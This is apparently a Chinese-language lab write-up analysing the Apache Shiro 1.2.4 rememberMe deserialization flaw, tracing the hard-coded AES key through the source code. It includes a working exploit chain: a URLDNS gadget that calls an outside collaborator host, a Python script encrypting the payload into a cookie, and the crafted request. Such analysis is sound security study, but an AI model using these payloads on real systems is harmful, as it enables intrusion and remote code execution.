shiro介绍
Shiro 是 Java 的一个安全框架,执行身份验证、授权、密码、会话管理
shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化 然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。
shiro反序列漏洞的特点是它传递的反序列化的数据,但他天然的进行了加密,也就是说不会有反序列化的标志,一般来说waf很难防御。
什么是硬编码:
硬编码要求程序的源代码在输入数据或所需格式发生变化时进行更改,以便最终用户可以通过程序外的某种方式更改细节。
环境部署
下面在本地 IDEA 部署 Apache Shrio 1.2.4 漏洞环境,以便于进行漏洞动态调试分析。
1、首先在 Github 下载项目源码:
https://github.com/apache/shiro
2、 编辑 shiro\samples\web 路径下的 pom.xml 文件,给 jstl 指定版本:(Jsp的解析器)
3、等待 IDEA 自动下载并导入完项目依赖的包,build 完成后项目结构如下:
4、注意,pom.xml 里面的配置会让程序自动下载shiro-core依赖包(后面程序加断点调试会用到该部分文件):
5、接着设置 run/debug configurations, 添加本地 Tomcat 环境(需要提前在本地安装 Tomcat 环境):
运行成功后浏览器将自动打开目标程序站点,本地环境部署至此结束:
6、访问登录页面进行已提示账户的登录,抓包可见 remenberme 字段:
请求包内容
POST /login.jsp;jsessionid=BD20BF2E35DBEA98D030CF75FE829B74 HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/login.jsp;jsessionid=BD20BF2E35DBEA98D030CF75FE829B74
Cookie: think_template=default; DedeUserID=2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=e51a0c663c0c9bf5; DedeLoginTime=1678266579; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=a26266c9dfd5b912; JSESSIONID=BD20BF2E35DBEA98D030CF75FE829B74
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=root&password=secret&rememberMe=on&submit=Login
登录成功且这里勾选上rememberMe的话就会返回一个cookie
这是登录成功的返回包,这里可以看到一个cookie
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Sat, 11-Mar-2023 05:55:43 GMT
Set-Cookie: rememberMe=QOUJLQ32BGiG/Zt9i2saQdtxZ+lhkTQdC6lOLl6I7S6kHESiNdig35cRxc0bRQ6z330Eb+foEKzZ1qx7PLjkEghGZqhH5dCm36hzFNwTOk1lqVpcP99ARKW/zaruMZEMGdCQqMAYCi3mqy+ngXOXUI7xM9nZcjx3gSx8hbdx3baa2fjT05OIDqWG6O87MYrrNyJbisAY3Ts02oBcGYuaVbLu/ybl1sLoF/ETbUsv2adiqmjwaLDGlxWv2QAzJ4lpf+LjjUmK01MfKvUs4g4cZp67zEeMivigVkAo4nhN7l8wJPBS7FXEHId4TlYcMa3zRpcDk5OQwtKK0mezqlVKgHn3NlhRRrvI0epCFlZI4eLcb9Ab7rQUJXfckoDkEDw8XXjJbTmmsc4M0OtUjdJFm0MJiTNz1zX8Tf8KVB60DmKBLcbd2vmrwBB7CvAa/GqXw0Cp3LCJWxGY+JgbrEZosOeWYEHGAW/RPm/zS0ciof9dH/QnMpB5jAMJvqGzFVlC; Path=/; Max-Age=31536000; Expires=Mon, 11-Mar-2024 05:55:46 GMT; HttpOnly
Location: /
Content-Length: 0
Date: Sun, 12 Mar 2023 05:55:46 GMT
Connection: close
之后在他每次请求的时候都会带上这个cookie
那么问题来了,这个cookie代表什么?怎么生成的?
一般来说这种很长的cookie中都会保存着一些信息,而保存信息的方式就是序列化,反序列化。他需要在你本地cookie中保存一些认证的东西,这样在下次登录的时候就不需要重新登录
那么我们继续看看这个cookie是怎么处理的
我们进源码进行查看,在org.apache.shiro.web.mgt.CookieRememberMeManager
这个类中对Cookie进行了处理
org.apache.shiro.web.mgt.CookieRememberMeManager#getRememberedSerializedIdentity
方法中
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
if (!WebUtils.isHttp(subjectContext)) {
if (log.isDebugEnabled()) {
String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a servlet request and response in order to retrieve the rememberMe cookie. Returning immediately and ignoring rememberMe operation.";
log.debug(msg);
}
return null;
} else {
WebSubjectContext wsc = (WebSubjectContext)subjectContext;
if (this.isIdentityRemoved(wsc)) {
return null;
} else {
HttpServletRequest request = WebUtils.getHttpRequest(wsc);
HttpServletResponse response = WebUtils.getHttpResponse(wsc);
String base64 = this.getCookie().readValue(request, response);
if ("deleteMe".equals(base64)) {
return null;
} else if (base64 != null) {
base64 = this.ensurePadding(base64);
if (log.isTraceEnabled()) {
log.trace("Acquired Base64 encoded identity [" + base64 + "]");
}
byte[] decoded = Base64.decode(base64);
if (log.isTraceEnabled()) {
log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
}
return decoded;
} else {
return null;
}
}
}
}
写了对Cookie生成的过程,从请求中获取信息 WebUtils.getHttpRequest(wsc);
,然后对它进行base64加密,但是很明显Cookie的信息不止进行了base64加密,我们继续看看哪里调用了getRememberedSerializedIdentity
方法。
在org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedSerializedIdentity
中调用 了getRememberedSerializedIdentity
方法。
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
PrincipalCollection principals = null;
try {
byte[] bytes = getRememberedSerializedIdentity(subjectContext);
//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
if (bytes != null && bytes.length > 0) {
principals = convertBytesToPrincipals(bytes, subjectContext);
}
} catch (RuntimeException re) {
principals = onRememberedPrincipalFailure(re, subjectContext);
}
return principals;
}
这里面又调用了convertBytesToPrincipals
方法,我们跟进去看看
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
if (getCipherService() != null) {
bytes = decrypt(bytes);
}
return deserialize(bytes);
}
这里是将字节转换为认证信息,实际上这里就做了2步,第一步解密decrypt
,第二步进行反序列化deserialize
,这里我们就知道了它的原理了,但是这里反序列化的是加密后的字节,我们还需要解密
我们先看一下它反序列化的地方,
在org.apache.shiro.io.DefaultSerializer#deserialize
方法
public T deserialize(byte[] serialized) throws SerializationException {
if (serialized == null) {
String msg = "argument cannot be null.";
throw new IllegalArgumentException(msg);
}
ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
BufferedInputStream bis = new BufferedInputStream(bais);
try {
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
return deserialized;
} catch (Exception e) {
String msg = "Unable to deserialze argument byte array.";
throw new SerializationException(msg, e);
}
}
这里调了一个原生的反序列化
ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
@SuppressWarnings({"unchecked"})
T deserialized = (T) ois.readObject();
ois.close();
那这里的话如果它调用了cc的依赖我们就可以打漏洞了
我们再看看它解密的地方,在这里调用了解密的方法bytes = decrypt(bytes);
protected byte[] decrypt(byte[] encrypted) {
byte[] serialized = encrypted;
CipherService cipherService = getCipherService();
//getCipherService 获取认证服务
if (cipherService != null) {
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
serialized = byteSource.getBytes();
}
return serialized;
}
ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
这里进行解密,跟进查看
我们看他传进去的参数ByteSource decrypt(byte[] encrypted, byte[] decryptionKey) throws CryptoException;
encrypted
是加密的字段
decryptionKey
是key,因为它是对称加密,所以需要一个key来进行解密
那么这里我们如果能获取到key,我们就可以获取到这个包了
回到decrypt
方法中查看传值的地方ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
encrypted
是加密的字段,key是从getDecryptionCipherKey
方法中获取的
我们跟进查看
public byte[] getDecryptionCipherKey() {
return decryptionCipherKey;
}
继续跟进
private byte[] decryptionCipherKey;
发现他是一个常量
public void setDecryptionCipherKey(byte[] decryptionCipherKey) {
this.decryptionCipherKey = decryptionCipherKey;
}
//调用setDecryptionCipherKey
public void setCipherKey(byte[] cipherKey) {
//Since this method should only be used in symmetric ciphers
//(where the enc and dec keys are the same), set it on both:
setEncryptionCipherKey(cipherKey);
setDecryptionCipherKey(cipherKey);
}
//调用setCipherKey
public AbstractRememberMeManager() {
this.serializer = new DefaultSerializer<PrincipalCollection>();
this.cipherService = new AesCipherService();
setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
}
DEFAULT_CIPHER_KEY_BYTES
很明显就是一个常量
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");
默认的key就是
也就是说在shiro1.2.4
这个版本跟rememberme这个功能相关加密的,都是一个固定的key:kPH+bIxk5D2deZiIxcaaaA==
,去加密,加密算法是AES算法
漏洞原理
首先构造一个反序列化的payload,再将它用AES的key加密,然后再把它进行base64加密,然后想办法让它走到正常的流程里面去调用反序列化。
我们看一下pom文件,他的库很多都是test包,maven在编译运行的时候只会把compile和runtime类型的包打进来,test的类型的是不会打进来的
打CC链的话,cc这里的依赖其实是test类型的,如果去打cc的话是打不到的
真正能打的是commons-beanutils-1.8.3.jar
这个包
这里先打jdk自己的包就行,URLDNS链
poc
package ysoserial.ay;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
/**
* @ClassName URLDNS
* @Author aY
* @Date 2023/3/12 15:47
* @Description
*/
public class URLDNS {
public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
//hashcode=-1
URL url = new URL("http://2mpiyigubkvlt0e80ojyv51lscy2mr.burpcollaborator.net");
Class c = url.getClass();
Field hashCodefield = c.getDeclaredField("hashCode");
hashCodefield.setAccessible(true);
hashCodefield.set(url,1234);//不等于-1就可以
hashMap.put(url,1);
//hashcode= url的hashcode值了
hashCodefield.set(url,-1);
serialize(hashMap);
// unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
使用加密脚本对ser.bin文件进行加密
import sys
import base64
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
# plaintext = bytes .decode(plaintext)
plaintext = unpad(plaintext)
return plaintext
if __name__ == '__main__':
# enc_data = "AL9ZLOHeBKEtIey/299S7eanvsGbgl-YSInYaw1jtZ5o7ReEmpMKPVbTbcku5x6GhuBfudj0xGTDX/60rEMNXeqmg?2DlLI+WHLIxBrathm0UK4XWB2VKhE"
# plaintext = aes_dec(enc_data)
# print(plaintext)
data = get_file_data("ser.bin")
# print(data)
print(aes_enc(data))
这里只是对ser.bin进行了加密,生成了加密的exp
我们在登录进行抓包
GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; DedeUserID=2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=e51a0c663c0c9bf5; DedeLoginTime=1678266579; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=a26266c9dfd5b912; JSESSIONID=56AF3164EDDB1D6E211CC28D365BDD59; rememberMe=26GLRODLpThSpquCYHFvUbpm8N2VHrnFX8/VGkAMWbDDPPnqyNM48ZlNkKsBKvkYfEEXr3XcQc+YGRQKTEvFLJbcrK4J23i+wO95eY765j8rUWhyPuu9JxTrlmGegZLiyV4xVKdjqwz1bIvBJdYFkGqO6C2dyEIoyq6SzZORWwY9O2O8uYept1b5Ks71IX6vZtUXdtdORv3uNd5vPTnklnDSxA9a23XCLXGHfP72AIR2mZO/iI92ae9xiMI1+izoIW8o2piVgt91Hxx4k0W4px5Zmp1PeIMFlNbPZBP+EHLRkSvsqpo4NsbB0xGyVIRK1dRyMMzXF7IBSLlr89xP7sxCHjOSFjJ4noQesRguwEvW7/qBDiAaMOhZ2v2UJroMCjXGfKoox1FMEjfHpKEhAGB3HGHjupkHo0pfqN8cxz5OUwU0NUs6ePHEeByrv0V57HsA+5AJNqqlEQ4QaniX4Mhzvck0dWCDvCN/neHSGeNucxZx25AoedXpKi2FCF4p
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
在cookie字段中我们将rememberMe字段中的加密的值改为生成exp,发包,发现还在登录状态,
这里因为还有jsession字段进行身份验证,把他删除之后我们发现包的长度发生了变化,而且在set_cookie
中出现了 rememberMe=deleteMe;
同时DNSlog平台也打回来了数据,说明序列化成功了